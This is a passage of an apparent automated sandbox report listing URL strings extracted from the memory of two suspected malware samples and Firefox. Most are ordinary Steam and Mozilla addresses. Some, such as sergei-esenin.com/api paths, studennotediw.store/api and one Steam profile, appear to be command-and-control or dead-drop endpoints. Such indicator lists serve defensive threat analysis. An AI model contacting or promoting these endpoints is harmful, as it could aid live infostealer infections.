Source: 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiF
Source: 09d417a7c4.exe, 0000000B.00000003.2917433896.000000000148A000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010966196.000000000148C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3009719972.0000000001480000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2895926103.0000000001480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api_
Source: 09d417a7c4.exe, 0000000B.00000003.2832326237.000000000147A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apia
Source: 09d417a7c4.exe, 0000000B.00000003.2800829947.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apid
Source: file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2800829947.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: file.exe, 00000000.00000003.2240943343.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283776593.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apih
Source: file.exe, 00000000.00000003.2203575439.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212746208.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240943343.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212628470.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283776593.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203712607.0000000000D83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apip
Source: 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiyU
Source: 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/g
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/j&
Source: 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/o
Source: file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/om/
Source: file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/yp
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A0A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.00000255093D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svgresource://gre/mod
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.00000255093D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.000002551043A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Prompt
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3094563100.000002550923D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.000002551043A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507CD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3090601585.0000025508DF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3142094936.0000025510AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userShow
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2982586081.000002550A0B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.ak
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/MH;
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.2126725116.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900CH;
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900M
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/wor
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/le
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/apiryptPrimitives.dllC
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
